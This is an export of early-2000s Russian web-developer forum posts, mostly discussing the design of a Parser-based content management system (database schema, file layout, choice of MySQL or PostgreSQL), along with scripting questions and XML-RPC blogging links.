  KEY `id` (`id`),\
  KEY `user_id_2` (`user_id`),\
  KEY `organisation_id` (`organisation_id`),\
  KEY `name` (`name`),\
  KEY `country` (`country`),\
  KEY `siti` (`siti`),\
  KEY `strit` (`strit`)\
) TYPE=MyISAM COMMENT='В этой таблице хранятся все адреса всех попавших в эту систе';\
# --------------------------------------------------------\
\
#\
# Структура таблицы `contacts`\
#\
\
CREATE TABLE `contacts` (\
  `id` int(10) NOT NULL auto_increment,\
  `table_string_id` int(10) NOT NULL default '0',\
  `user_id` int(10) NOT NULL default '0',\
  `user_write_id` int(10) NOT NULL default '0',\
  `comment` text NOT NULL,\
  PRIMARY KEY  (`id`),\
  KEY `table_string_id` (`table_string_id`),\
  KEY `user_id` (`user_id`),\
  KEY `user_write_id` (`user_write_id`)\
) TYPE=MyISAM COMMENT='Контакты к действию, проекту';\
# --------------------------------------------------------\
\
#\
# Структура таблицы `exchange`\
#\
\
CREATE TABLE `exchange` (\
  `id` int(10) NOT NULL auto_increment,\
  `exchange` varchar(255) default NULL,\
  `original` varchar(255) default NULL,\
  PRIMARY KEY  (`id`),\
  KEY `original` (`original`)\
) TYPE=MyISAM;\
# --------------------------------------------------------\
\
#\
# Структура таблицы `forum_message`\
#\
\
CREATE TABLE `forum_message` (\
  `forum_message_id` int(10) NOT NULL auto_increment,\
  `forum_id` int(10) NOT NULL default '1',\
  `parent_id` int(10) NOT NULL default '0',\
  `thread_id` int(10) NOT NULL default '0',\
  `title` varchar(255) NOT NULL default '',\
  `author` int(10) NOT NULL default '0',\
  `dt_published` datetime NOT NULL default '0000-00-00 00:00:00',\
  `is_published` tinyint(4) NOT NULL default '1',\
  PRIMARY KEY  (`forum_message_id`),\
  KEY `forum_id` (`forum_id`),\
  KEY `parent_id` (`parent_id`),\
  KEY `thread_id` (`thread_id`),\
  KEY `title` (`title`),\
  KEY `author` (`author`),\
  KEY `dt_published` (`dt_published`),\
  KEY `is_published` (`is_published`)\
) TYPE=MyISAM;\
# --------------------------------------------------------\
\
#\
# Структура таблицы `forum_message_body`\
#\
\
CREATE TABLE `forum_message_body` (\
  `forum_message_id` int(10) NOT NULL default '0',\
  `body` text,\
  KEY `forum_message_id` (`forum_message_id`)\
) TYPE=MyISAM;\
# --------------------------------------------------------\
\
#\
# Структура таблицы `groups`\
#\
\
CREATE TABLE `groups` (\
  `id` int(10) NOT NULL default '0',\
  `name` varchar(255) NOT NULL default '',\
  `body` text NOT NULL,\
  PRIMARY KEY  (`id`),\
  KEY `name` (`name`)\
) TYPE=MyISAM COMMENT='Группы пользователей, которым сопоставленны права';\
# --------------------------------------------------------\
\
#\
# Структура таблицы `klient_group_for_project`\
#\
\
CREATE TABLE `klient_group_for_project` (\
  `id` int(10) NOT NULL auto_increment,\
  `project_id` int(10) NOT NULL default '0',\
  `klient_id` int(10) NOT NULL default '0',\
  `user_id` int(10) NOT NULL default '0',\
  `comment` text NOT NULL,\
  PRIMARY KEY  (`id`),\
  KEY `project_id` (`project_id`),\
  KEY `klient_id` (`klient_id`),\
  KEY `user_id` (`user_id`)\
) TYPE=MyISAM COMMENT='Группы клиентов связанных с проектом';\
# --------------------------------------------------------\
\
#\
# Структура таблицы `news`\
#\
\
CREATE TABLE `news` (\
  `id` int(10) NOT NULL auto_increment,\
  `date` date NOT NULL default '0000-00-00',\
  `header` varchar(255) NOT NULL default '',\
  `body` text NOT NULL,\
  `user_id` int(10) NOT NULL default '0',\
  PRIMARY KEY  (`id`),\
  KEY `date` (`date`,`header`),\
  KEY `user_id` (`user_id`)\
) TYPE=MyISAM;\
# --------------------------------------------------------\
\
#\
# Структура таблицы `operation`\
#\
\
CREATE TABLE `operation` (\
  `id` int(10) NOT NULL auto_increment,\
  `user_id` int(10) NOT NULL default '0',\
  `project_id` int(10) NOT NULL default '0',\
  `name` varchar(255) NOT NULL default '',\
  `description` text NOT NULL,\
  `result` text NOT NULL,\
  `uri_doc` text NOT NULL,\
  PRIMARY KEY  (`id`),\
  KEY `user_id` (`user_id`),\
  KEY `project_id` (`project_id`),\
  KEY `name` (`name`)\
) TYPE=MyISAM COMMENT='Описание действий, Действия сгруппированны по проектам';\
# --------------------------------------------------------\
\
#\
# Структура таблицы `operation_hronology`\
#\
\
CREATE TABLE `operation_hronology` (\
  `id` int(10) NOT NULL default '0',\
  `operation_id` int(10) NOT NULL default '0',\
  `user_id` int(10) NOT NULL default '0',\
  `date_start_user` datetime NOT NULL default '0000-00-00 00:00:00',\
  `date_start_auto` datetime NOT NULL default '0000-00-00 00:00:00',\
  `date_finish_user` datetime NOT NULL default '0000-00-00 00:00:00',\
  `date_finish_auto` datetime NOT NULL default '0000-00-00 00:00:00',\
  PRIMARY KEY  (`id`),\
  KEY `operation_id` (`operation_id`),\
  KEY `user_id` (`user_id`),\
  KEY `date_start_user` (`date_start_user`),\
  KEY `date_start_auto` (`date_start_auto`),\
  KEY `date_finish_user` (`date_finish_user`),\
  KEY `date_finish_auto` (`date_finish_auto`)\
) TYPE=MyISAM COMMENT='Хронология выполнения действий';\
# --------------------------------------------------------\
\
#\
# Структура таблицы `organisation`\
#\
\
CREATE TABLE `organisation` (\
  `id` int(10) NOT NULL default '0',\
  `user_write_id` int(10) NOT NULL default '0',\
  `legal_form` varchar(255) NOT NULL default '',\
  `name` varchar(255) NOT NULL default '',\
  PRIMARY KEY  (`id`)\
) TYPE=MyISAM COMMENT='Организация и форма собственности';\
# --------------------------------------------------------\
\
#\
# Структура таблицы `project`\
#\
\
CREATE TABLE `project` (\
  `id` int(10) NOT NULL auto_increment,\
  `klient_group_id` int(10) NOT NULL default '0',\
  `user_id` varchar(10) NOT NULL default '',\
  `name_project` varchar(255) NOT NULL default '',\
  `comment` text NOT NULL,\
  `number_contract` varchar(255) NOT NULL default '',\
  `pay` varchar(255) NOT NULL default '',\
  `start_contract` date NOT NULL default '0000-00-00',\
  `start_fact` datetime NOT NULL default '0000-00-00 00:00:00',\
  `finish_contract` date NOT NULL default '0000-00-00',\
  `finish_fact` datetime NOT NULL default '0000-00-00 00:00:00',\
  `problems` text NOT NULL,\
  `pretension` text NOT NULL,\
  PRIMARY KEY  (`id`),\
  KEY `klient_group_id` (`klient_group_id`),\
  KEY `user_id` (`user_id`),\
  KEY `name_project` (`name_project`),\
  KEY `number_contract` (`number_contract`),\
  KEY `pay` (`pay`),\
  KEY `start_contract` (`start_contract`),\
  KEY `start_fact` (`start_fact`),\
  KEY `finish_contract` (`finish_contract`),\
  KEY `finish_fact` (`finish_fact`)\
) TYPE=MyISAM COMMENT='Общая информация по проекту';\
# --------------------------------------------------------\
\
#\
# Структура таблицы `project_hronology`\
#\
\
CREATE TABLE `project_hronology` (\
  `id` int(10) NOT NULL auto_increment,\
  `user_id` int(10) NOT NULL default '0',\
  `project_id` int(10) NOT NULL default '0',\
  `start` datetime NOT NULL default '0000-00-00 00:00:00',\
  `finish` datetime NOT NULL default '0000-00-00 00:00:00',\
  `status` int(1) NOT NULL default '0',\
  PRIMARY KEY  (`id`),\
  KEY `user_id` (`user_id`),\
  KEY `project_id` (`project_id`),\
  KEY `start` (`start`),\
  KEY `finish` (`finish`),\
  KEY `status` (`status`)\
) TYPE=MyISAM COMMENT='Статус Завершено, исполняется, остановленно и аввтор записи';\
# --------------------------------------------------------\
\
#\
# Структура таблицы `project_menager`\
#\
\
CREATE TABLE `project_menager` (\
  `id` int(10) NOT NULL auto_increment,\
  `user_id` int(10) NOT NULL default '0',\
  `project_id` int(10) NOT NULL default '0',\
  `date_start` datetime NOT NULL default '0000-00-00 00:00:00',\
  PRIMARY KEY  (`id`),\
  KEY `user_id` (`user_id`),\
  KEY `project_id` (`project_id`),\
  KEY `date_start` (`date_start`)\
) TYPE=MyISAM COMMENT='Менеджер проекта';\
# --------------------------------------------------------\
\
#\
# Структура таблицы `session`\
#\
\
CREATE TABLE `session` (\
  `id` int(30) NOT NULL auto_increment,\
  `dt_start` datetime NOT NULL default '0000-00-00 00:00:00',\
  `session_key` varchar(255) NOT NULL default '',\
  `user_id` int(10) NOT NULL default '0',\
  `end_session` datetime NOT NULL default '0000-00-00 00:00:00',\
  UNIQUE KEY `id` (`id`),\
  KEY `session_key` (`session_key`)\
) TYPE=MyISAM;\
# --------------------------------------------------------\
\
#\
# Структура таблицы `subordinate`\
#\
\
CREATE TABLE `subordinate` (\
  `id` int(10) NOT NULL auto_increment,\
  `organisation_id` int(10) NOT NULL default '0',\
  `user_up` int(1) NOT NULL default '0',\
  `user_down` int(1) NOT NULL default '0',\
  PRIMARY KEY  (`id`),\
  KEY `organisation_id` (`organisation_id`,`user_up`,`user_down`)\
) TYPE=MyISAM;\
# --------------------------------------------------------\
\
#\
# Структура таблицы `users`\
#\
\
CREATE TABLE `users` (\
  `id` int(10) NOT NULL auto_increment,\
  `id_group` int(10) NOT NULL default '7',\
  `organisation_id` int(10) NOT NULL default '0',\
  `work_permit` int(1) NOT NULL default '0',\
  `name` varchar(255) NOT NULL default '',\
  `f_name` varchar(255) NOT NULL default '',\
  `o_name` varchar(255) NOT NULL default '',\
  `tel` varchar(20) NOT NULL default '',\
  `m_tel` varchar(20) NOT NULL default '',\
  `tel_1` varchar(20) NOT NULL default '',\
  `tel_2` varchar(20) NOT NULL default '',\
  `tel_3` varchar(20) NOT NULL default '',\
  `fax` varchar(255) NOT NULL default '',\
  `fax2` varchar(255) NOT NULL default '',\
  `e_mail` varchar(255) NOT NULL default '',\
  `e_mail2` varchar(255) NOT NULL default '',\
  `site` varchar(255) NOT NULL default '',\
  `login` varchar(255) NOT NULL default '',\
  `password` varchar(255) NOT NULL default '',\
  `date_reg` datetime NOT NULL default '0000-00-00 00:00:00',\
  `work_status` varchar(255) NOT NULL default '',\
  `day_r` date NOT NULL default '0000-00-00',\
  PRIMARY KEY  (`id`),\
  KEY `user_group_id` (`id_group`),\
  KEY `organisation_id` (`organisation_id`),\
  KEY `work_permit` (`work_permit`),\
  KEY `name` (`name`),\
  KEY `f_name` (`f_name`),\
  KEY `o_name` (`o_name`),\
  KEY `login` (`login`),\
  KEY `password` (`password`),\
  KEY `date_reg` (`date_reg`),\
  KEY `day_r` (`day_r`),\
  KEY `duties` (`work_status`)\
) TYPE=MyISAM COMMENT='Описание пользователей';\
# --------------------------------------------------------\
\
#\
# Структура таблицы `users_body`\
#\
\
CREATE TABLE `users_body` (\
  `id` int(10) NOT NULL default '0',\
  `body` text NOT NULL,\
  KEY `id` (`id`)\
) TYPE=MyISAM;\
[/code]"
"20579","Преамбула\
-----------------\
\
Система управления содержимым сайта - content management system, далее просто \"система\".\
\
Разрабытывается российским свободным содружеством разработчиков на российской технологии скриптования сайтов Parser и мировым стандартом хранения инфы - БД MySQL.\
\
=Предназначена для быстрой развертки сайтов (порталов) любой сложности и полного контроля над ними.\
=Используется Parser + MySQL (в документации предполагается XML).\
=Архитектура - платформенно-независима, легко обновляема и модифицируема средним юзером.\
=Обладает предсказуемостью поведения в случае ошибок или ЧП.\
=Строгая стандартизация.\
=Документация для системы и каждего модуля свободно доступна.\
=Сама система доступна по лицензии GNU/GPL.\
\
Архитектура\
-------------------\
\
=Полное отделение кода (.p) от HTML (.html) для независимой модификации внутренней и внешней частей (по шаблонам проектирования Bridge).\
=Код общается с БД, и передает файлу-шаблону (.tpl) переменные для генерации блока. Из блоков и складывается страница.\
	\
	MySQL<->Parser->.tpl->.html\
\
=Модуль - основная составляющая.\
=Модуль - совокупность набора файлов, исп. свои таблицы в БД.\
=Модуль может порождать неограниченное количество блоков, либо не порождать вовсе.\
=Блок - видимый результат работы модуля.\
=Блоки будут обладать стандартным интерфейсом (в случае портала) и своим собственным (в случае небольших представительских, не-контентных проектов).\
=Модуль должен быть распакован в папку и инициализирован, после чего включается в общую систему.\
=Модули основываются на API ядра - наборе методов, подключаемых автоматически в заголовке запроса.\
=Наличие или отсутствие модуля не должно влиять на всю работоспособность (кроме модулей ядра).\
=Для внешнего оформления блоков и страниц в целом исп. темы (скины).\
=Мультиязычность обязывает выносить все статические тексты блока (в шаблоне) в отделный файл в виде переменных.\
= ! Человеко-Понятные Урлы (ЧПУ) - необходимое условие развитой системы (возможно использование модуля \"маскарада\").\
\
=>Архитектура основана на четком разделении составляющих модуля для модификаций одной из них без необходимости переписывания другой. Тоже касается обновленных версий, т.е. переносимость. Архитектура должна быть максимально понятна, а структура расширяема.\
\
Структура\
---------------\
\
=Структура компонентов - древовидная, хранится в БД.\
= ? Объекты (модули, блоки, файлы, пользователи) являются принадлежностью какого-либо класса объектов, могут иметь родителяи детей, наследующих их свойства.\
=Типы файлов:\
\
	html	страница-результат\
	tpl	шаблон оформления\
	p	код Parser'a\
	cfg	файлы для хранения мелкой инфы - вроде пунктов навигации действий с модулем (tab-delimited)\
\
=Также возможны служебные типы, используемые непосредственно внутри модуля.\
=Предполагается следующая файловая структура:\
\
/\
|__/i/	# изображения для всего сайта\
|     |__/icons/	# иконки\
|     |__/avatars/	# аватары\
|\
|__/inc/	# включения с глобальными методами и переменными\
|        |\
|        |__/config/	# конфигурационные переменные\
|        |             |__config.p	# для сайта\
|        |             |__db.p	# для ДБ\
|        |\
|        |__/lang/	# язык ядра\
|        |           |__/ru/	# буквенный код\
|        |                   |__alert.p		# статические сообщения\
|        |__api.p	# методы API ядра\
|        |__format.p	# методы регулярных выражений оформления\
|        |__use.p	# \"сокет\" для подключения классов\
|        |__page.p	# класс работы со страницей (переадресация, обновление)\
|        |__dtf.p	# класс работы с датами\
|        |__counters.p	# класс для работы со счетчиками\
|\
|__/init/	# папка для скрипта первоначальной установки, после которой удаляется (инсталлятор)\
|\
|__/mods/	# корень администратора - папка для модулей\
|             |__/config/	# общий конфиг\
|             |__/docs/		# документация\
|             |__/mods/	# управление модулями (инициализация, настройка, удаление)\
|             |__/users/	# пользователи\
|\
|__/themes/	# темы оформления\
|                |__/slyStyle/	# папка и название темы\
|                                 |__/i/		# спецефические для темы изображения\
|                                 |__/styles/	# стили CSS\
|                                 |__theme.p		# файл темы\
|                                 |__block_header.p	# блоки,\
|                                 |__block_body.p	# из которых\
|                                 |__block_left.p		# строится\
|                                 |__block_footer.p	# \"каркас\" страницы\
|\
|\
|\
|\
|__.htaccess	# файл с настройками сервера для работы с Parser'ом и системой\
|__auto.p		# глобальные данные о cms, сайте, строка подключения к ДБ, meta-инфа, класс @main[] для всех страниц\
\
=Все настройки должны быть доступны для редактирования он-лайн через интерфейс администрирования.\
=Пользователь должен как можно меньше общаться с FTP.\
\
Юзабилити (удобство использования)\
---------------------------------------------------------\
\
=Она делится на структуру и интерфейс.\
=Структурная юзабилити подразумевает максимально упрощенную и гибкую архитектуру.\
=Внешняя юзабилити (интерфейсы) проектируется с учетом не только красоты, но и в большей степени удобства.\
\
=>Никто не будет пользоваться навороченной и красивой системой, если делать это крайне неудобно. Он либо найдет решение попроще, либо будет писать сам.\
\
Стандартизация\
------------------------\
\
=Для целостности системы и здорового развития сообщества определяются общие правила написания и оформления исходников для удобного изучения и модифицирования. Это элементарное уважение к работающим с тобой.\
=Стандартизация будет определена до начала написания системы.\
=Она будет относительно статична, ее версия не будет обновляться чаще, чем в 6 месяцев, чтобы авторы могли поправить модули в соответствии с ней. 6 месяцев - вполне достаточно.\
=Она будет лишь пополнятся новыми (часто используемыми) выражениями, упрощающими написание кода.\
\
=>Все существующие cms страдают именно отсутствием строжайшей стандартизации. В этом и кроется причина их несостоятельности (а также предельно ясной документации, которая также подлежит стандртизации). Только использование одних и тех же элементов наряду с гибкой архитектурой обеспечивает долгую жизнь и развитие системы.\
\
Поставка\
--------------\
\
=As is. Поставите -> испортится что-нибудь (потеряете инфу)=>Мы не причем (я не я, жопа не моя).\
=Денвер с ядром - полный unpack & run на машине клиента. Поставляется как опция (т.е. по надобности).\
=Ядро поставляется с минимальным набором модулей, необходимых для запуска сайта.\
=Остальную функциональность юзер комплектует отдельными модулями под конкретную задачу (не в пример свободным cms, тиранозаврский набор компонентов которых иногда просто ужасает. Пример - PostNuke, который с установкой тащит кучи мусора, который при малом объеме хостинга нельза толком подрезать, потому что все перемешано и связано. К тому же такие объемы сильно напрягают канал и часто просто не успевают исполняться скрипты).\
=Репозитарий компонентов системы будет доступен бесплатно, лишь эксклюзивные, специфические модули, код которых не подлежит открытию по соображениям авторов, будет доступен только за плату.\
=Документация будет поставляться отдельно, возможно, в виде модуля.\
=В случае бесплатного распространения техническая поддержка не осуществляется. Вы можете получать инфу на сайте проекта в форуме (в случае, если вам ответят), а также читая документацию.\
=Коммерческая поставка предусматривает техническую поддержку, установку компонентов и обновлений, патчи, а также эксклюзивные модули и возможности.\
\
=>Давайте не будем решать за юзера, что ему качать и ставить. Предоставим ему выбор. Это необходимая составляющая открытого проекта.\
\
Документ\
--------------\
\
=Спонтанные мысли в Блокноте, не претендующие на правоту и полноту.\
=Это мое мнение.\
=Жду критики (обсирания тоже), более точных формулировок по делу. Морально готов.\
=Будет дополнятся и изменяться постоянно.\
=Для версионности - дата.\
\
---------------------------------------------------------------\
	Den 'sly' Markin [mail2den@mail.ru] 21:30 06.09.2003"
"20580","[i]=Архитектура - платформенно-независима, легко обновляема и модифицируема средним юзером.[/i]\
\
Обновление - автоматически (или ручное по желанию) и дополнение модулей через web интерфейс с официального сайта\
\
\
[i]=Денвер с ядром - полный unpack & run на машине клиента. Поставляется как опция (т.е. по надобности).[/i]\
\
Что делать с linux, FreeBSD, ...\
\
\
Надо определиться что есть стабильное не стабильное.\
Частота обновления версий (моё предложение - голосование на сайте для разработчиков)"
"20581","3 переменных лучше наверно поместить в разные куки.\
Если число переменных очень большое, то лучше сделать сессию и мешок в БД, если сессии уже есть то может мешок поможет и в этом случае."
"20582","... для обсуждения вопросов, связанных с созданием CMS на парсере.\
\
http://parser.proc.ru/forum/"
"20584","Теперь приходится пользоваться функцией в Opera, чтоб вернуть прежний вид."
"20585","[quote]мировым стандартом хранения инфы - БД MySQL[/quote]\
Мировой стандарт - это MS SQL, Oracle, м.б. PgSQL, но никак не MySQL. MySQL - мировой стандарт создания домашних страничек.\
Думается, было бы верным сделать поддержку нескольких СУБД, причём с учётом того, что в нормальных СУБД есть такие вещи, как контроль целостности (а _только_ при использовании MySQL переносить его на скрипты).\
[quote]=Полное отделение кода (.p) от HTML (.html) для независимой модификации внутренней и внешней частей (по шаблонам проектирования Bridge).[/quote]\
Что такое \"шаблоны проектирования Bridge\"? Почему бы не воспользоваться чем-то готовым, например XML? Или предполагается прикрутить к парсеру обработчик шаблонов на сях?\
[quote]|__auto.p # глобальные данные о cms, сайте, строка подключения к ДБ, meta-инфа, класс @main[] для всех страниц[/quote]\
Для [i]всех[/i]? А если нужно вывести страницу без оформления? Не версию для печати, а что-то специфическое?\
[quote]=Все настройки должны быть доступны для редактирования он-лайн через интерфейс администрирования.[/quote]\
Так строка подключения в auto.p или доступна для редактирования через интерфейс?"
"20586","1. Сколько файлов будет открывать/закрывать этот скрипт при запросе одной страницы?\
2. Что такое \"файл-шаблон\" и кто его преобразует в html?\
3. [quote]Структура компонентов - древовидная, хранится в БД.[/quote]\
Неужели не лень писать свой DOM? Понятно, что по быстродействию то на то будет, но всё же..."
"20587","а еще FreeBSD, Apache, MySql и пр. И это все написано не на Парсере...\
\
Я рассматриваю этот движок исключительно как конечный продукт, и меня не интересует на чем он написан. Разводить очередные \"религиозные войны\" не надо. Если Вы готовы предоставить для этого проекта подобную систему на Парсере, то милости просим..."
"20588","Предлагаю вместо MySQL юзать PostgreSQL."
"20589","Вот мое IMHO по поводу архитектуры системы.\
\
Предлагаю использовать архитектуру, которую я использовал уже на двух сайтах. Есть библиотека классов, общая для нескольких сайтов. Классы отвечают за функционирование отдельных разделов сайта (форум, публикация новостей/статей, опросы и т.д.). В моем случае классы имеют общего предка (db), чтобы не переписывать один и тот же код в каждом классе.\
\
Например: класс news управляет новостями на сайте. Его методы (без списка параметров): add, delete, edit, getById, list. Методы getById и list возвращают узлы XML, соответственно для единичной новости и для списка новостей. Код веб-страниц со списками или текстами новостей содержит только вызовы этих методов, при выполнении этого кода формируется документ XML, содержащий весь контент страницы. Далее, в методе postprocess этот XML-документ трансформируется с помощью XSL в веб-страницу, которую получает посетитель сайта. (надеюсь, все понятно объяснил;)\
\
По этой схеме работают оба моих сайта и их CMS`ы. Все страницы получаются из XML при помощи XSL.\
\
Достоинства такой архитектуры очевидны, большая часть кода реюзается в нескольких сайтах. Незначительно различается только код самих страниц, и используются разные шаблоны XSL для каждого сайта. Легко сделать версии страниц для печати. Легко вставить  в страницу любую инфу.\
\
Типы файлов при использовании такой архитектуры:\
.p – классы и файлы auto.p,\
.html – страницы сайтов и их cms (в них формируется контент страниц в XML )\
.xsl – шаблоны оформления.\
\
Я предлагаю не хранить структуру сайта в БД, и вообще ее нигде не хранить. Структура, мне кажется, это только для людей, так сказать чисто оформительский уровень. Программно все должно состоять, как уже и говорил sly, из автономных модулей, с этим, думаю, согласятся все. Поставил, скажем, каталог продукции на сайт, слегка изменил шаблоны и код страниц, где должна быть инфа из этого каталога, и все заработало. Такой способ работает, проверено.\
\
На уровне файлов сайт состоит только из каталогов, содержащих его разделы. Примерно вот так:\
|-auto.p – корневой auto.p\
|-/i/ – общие изображения\
|-/news/ - файлы .html и .xsl для раздела новостей\
|-/forum/ - файлы .html и .xsl для форума\
|-/services/ - файлы .html и .xsl для раздела с инфой об услугах\
…\
|-/admin/ - раздел администрирования (CMS)\
\
Файлы общих и специфичных для этого сайта классов лежат за пределами каталога с сайтом.\
\
Теперь про CMS\
Я думаю, что нужно писать CMS для управления контентом сайта, но не его структурой или оформлением. Предназначена она должна быть в основном не для разработчиков, а для людей, которые занимаются поддержкой сайта, публикацией всякой инфы, опросов, модерирования форума и т.д. Эти люди и так не смогут создать дополнительные раздел или сервис на сайте или изменить оформление, так что подобные функции будут лишними. Все это могут сделать руками квалифицированные разработчики.\
\
Что касается платформы для CMS, то предлагаю юзать PgSQL. MySQL слишком убог для нормальной разработки, постоянно приходится перекладывать на плечи скриптов работу, которая должна выполняться СУБД. Это касается поддержки ссылочной целостности, юнионов и т.д. К тому же в MySQL нет хранимых процедур и триггеров, а это весьма полезные штуки.\
\
Кстати, а где мы будем тестировать наши разработки?\
\
Я оставил это сообщение в форуме http://parser.proc.ru/forum/. Предлагаю продолжать все дальнейшее обсуждение там."
"20591","Лучший выход это сделать либо одну версию CMS с настройкой под любые СУБД, как Парсер, он ведь не поддерживает только MySQL или PostreSQL, а поддерживает несколько СУБД и в этом отчасти его универсальность.\
\
Или ещё сделать несколько версий CMS под разные СУБД."
"20592","Пока только просмотрел, книжица вроде толковая. Имею все книги из этой серии, и по моему мнению эта ничем не хуже. Перевод правда традиционно не на уровне, это да."
"20594","В обоих случаях готов предложить свою посилную помощь. На начальном этапе разработки, пожалуй, отделаюсь общими идеями, не хотелось бы своими кривыми руками испортить хорошие вещи. Ну а потом поглядим... (типа самый хитрый, ага ;)"
"20595","потому, что когда был таймс в почту постоянно приходили письма с просьбой поменять его на шрифт без засечек, т.к. читается плохо.\
\
то, что стало с телом сообщения и другим текстовым контентом, действительно плохо (шрифт очень большой, и сравнение Eugene с детскими книжками вполне уместно). то, как показывается дерево сообщений, меню и т.п. - по моему нормально.\
\
варианты, которые возможны:\
1. вернуть все как было\
2. оставить как есть но уменьшить размер шрифта текстового контента\
3. сделать опрос с возможностью проголосовать за 1 или 2 варианты\
\
лично мне - пофигу, я могу читать и так и так, и это меня не напрягает, а когда вдруг напрягает на других сайтах, то я использую возможности броузера переопределять шрифты."
"20596","...тем более что есть такая возможность."
"20597","[quote]В Parser поддержка UTF-8 интегрирована и прозрачна для разработчика[/quote]\
Поясните чем же всетаки хорош этот UTF-8."
"20599","Я согласен с тем, что то как показывается дерево сообщений, меню и т.п. нормально (я думаю так и надо оставить), а вот, что стало с телом сообщения и другим текстовым контентом это плохо (надо поменять).\
\
Я не знаю станет ли лучше если уменьшить шрифт только в текстовых соощениях.\
То есть 1 и 2 варианты не катят, а третий это по сути выбор между 1 и 2.\
\
А, что вы думаете об этом: http://www.parser.ru/forum/?id=20553\
\
Мои варианты:\
\
1. Поменять шрифт и размер шрифта в тексте сообщения и другом контенте на шрифт с засечками.\
2. http://www.parser.ru/forum/?id=20553  (по моему самый правильный)\
3. Оставить всё как есть, только уменьшить размер шрифта в текстах.\
4. Голосовать за один из первых 3 вариантов."
"20600","Было:\
в файле 1.р лежит $a. Вызываю $a - естественно работает.\
\
Сделал:\
в файле 1.р лежит $a. Вызываю из файла определенного класса $a - не работает.\
\
Т.е. когда создаешь класс, переменные другого файла или класса недоступны через ^use[] & @USE. Нужно писать\
\
@BASE\
1.p # файл с $a.\
\
Так? Попробовал, не работает чего-то.\
\
Подскажите!"
"20601","А есть в Парсере сессии?"
"20602","и поюзать подобный подход: http://www.freecell.com/xmleditor/editor.htm\
\
не забудьте поюзать правый клик на маленьких этих иконках в левых верних углах редактируемых боксов."
"20603","а раз так, то можно, например, так:\
\
[code]\
$brick[\
   $.first[$first:CLASS]\
   $.second[$second:CLASS]\
]\
\
$name[first]\
#static call\
^brick.$name.method[params]\
[/code]"
"20604","На то они и глобальные. Глобальными считаются переменные определённые в классе MAIN а не в пользовательских классах.\
\
В приведённом примере, делается попытка доступа к переменным одного класса из другого, - есстественно это работать не будет, инкапсуляция понимаешь ли.\
\
При\
[code]\
@BASE\
1.p # файл с $a.\
[/code]\
т.е. класс делается потомком 1.p $a будет доступно только тогда, когда на базе этого класса создаётся объект и обращение к $a делается так: [code]$object.a[/code]\
\
При статическом вызове методов этого класса, $a естественно доступна не будет, разве что в том методе, где она определена.\
\
PS: А вообще обращение к глобальным переменным это попа.\
\
PPS: А не рановато ли CMS собрались писать (без обид)?"
"20609","Народу, интересующегося темой (написавшего либо в форум, либо мне лично) - 17 человек, включая меня :) Почти все имеют собственные разработки. Координировать процесс желает sly, опубликовал свои предложения по архитектуре в http://www.parser.ru/forum/?id=20579, а Sumo открыл спец. форум http://parser.proc.ru/forum/  Думаю, дальнейшие обсуждения имеет смысл туда и перенести."
"20610","IMHO не стоит делать CMS с настройкой под любые СУБД, потому что нельзя будет использовать их удобные специфичные фичи. Нужно выбрать что мы будем использовать: MySQL или PgSQL."
"20611","[code]\
...\
| |__block_header.p # блоки,\
| |__block_body.p # из которых\
| |__block_left.p # строится\
| |__block_footer.p # \"каркас\" страницы\
...\
[/code]\
Уже, т.е. на этапе проектирования, жёсткая привязка к определённому макету страницы."
"20612","на платформе Windows например, лучше MS SQL пользоваться"
"20613","Как сделать чтобы php-код включённый в html-файл работал.\
Следующая конструкция, вписываемая в .htaccess не помогает:\
RemoveHandler .html .htm\
AddType application/x-httpd-php .php .htm .html .phtml\
\
Что делать?"
"20615","и можно уже более развернуто, типа:\
ID\
TableCode\
Content\
...\
CreatedByPersonID\
CreatedDateTime\
ModifiedByPersonID\
ModifiedDateTime\
...\
StateID\
Locked\
Valid\
...\
XDOC\
...\
и все что хочется/нужно для последующего анализа..."
"20617","Подскажите, где-бы нарыть толковое описание спецификаций XML-RPC в применении к блогам? Хочется, чтобы в мой blog можно было писать с помощью клиентов, поддерживающих blogger API и чтобы он умел работать с trackback-запросами других блогов. Спецификаций туча, а вот хорошего сводного текста с примерами всё не найду..."
"20618","...это получается при попытке проверить пример из \"Урока 2\" (у меня пошла 20-я минута знакомства с Parser) документации - при описании @main[] в auto.p и вызове ее из индекс_хтма. Переименование в @main1[] решает проблему. Если функция main выполняется автоматически, и вызов ее вручную - уже рекурсия, то у меня ничего не происходит и при запуске пустого индекса. Как быть?\
\
И еще:\
...News/index.html(9:9): parse error, expecting `$'  type: parser.compile\
... - это уже при попытке переописать переменную в индексе.\
Из документации не совсем понятно, где именно и как переописывать\
переменные так, чтобы для каждой страницы они были уникальны.\
\
Заранее благодарю."
"20619","А переменные переопределять можно в любом месте -\
было:\
$var[aaaa]\
переопределяем:\
$var[bbbb]"
"20621","Вот, привожу тут список, если кому потом пригодится:\
\
http://davenet.userland.com/1998/07/14/xmlRpcForNewbies\
DaveNet : XML-RPC for Newbies\
\
http://www.google.com/search?sourceid=mozclient&ie=utf-8&oe=utf-8&q=xml-rpc+blogger+api\
Google Search: xml-rpc blogger api\
\
http://www.intertwingly.net/wiki/pie/RoadMap\
RoadMap - Atom Wiki\
\
http://blogbuddy.sourceforge.net/?page=dev\
blogBuddy\
\
http://www.xmlrpc.com/metaWeblogApi\
RFC: MetaWeblog API\
\
http://blogs.law.harvard.edu/tech/rss\
RSS 2.0 Specification\
\
http://www.xmlrpc.com/discuss/msgReader$1918\
Re: XML-RPC in IE\
\
http://www.intertwingly.net/wiki/pie/PieApi\
PieApi - Atom Wiki\
\
http://www.hixie.ch/specs/pingback/pingback\
Pingback 1.0\
\
http://www.plasticbag.org/archives/2003/03/observation_on_the_trackback_how_to.shtml\
plasticbag.org | weblog | Observation on the Trackback «How To»...\
\
http://www.movabletype.org/trackback/\
TrackBack Development\
\
http://www.movabletype.org/trackback/beginners/\
movabletype.org : TrackBack Explanation\
\
http://www.movabletype.org/docs/mttrackback.html\
mttrackback - TrackBack Technical Specification"
"20622","Правильно сказали kirill v.2 и egr.\
\
Я предлагал ещё один вариант, несколько одинаковых CMS для разных СУБД. И чем плохо если в одной CMS будут настройки для нескольких СУБД, о каких удобных фичах идёт речь.\
\
А выбирать одну СУБД нельзя, это нехорошо по отношению к пользователям других СУБД, и вообще вот [b]например[/b]:\
\
Сегодня вы без ума от PgSQL. Завтра вы проснулись и поняли, что PgSQL это ничто по сравнению с Oracle :-)  А вот CMS и Парсер идут только под PgSQL. Что тогда?"
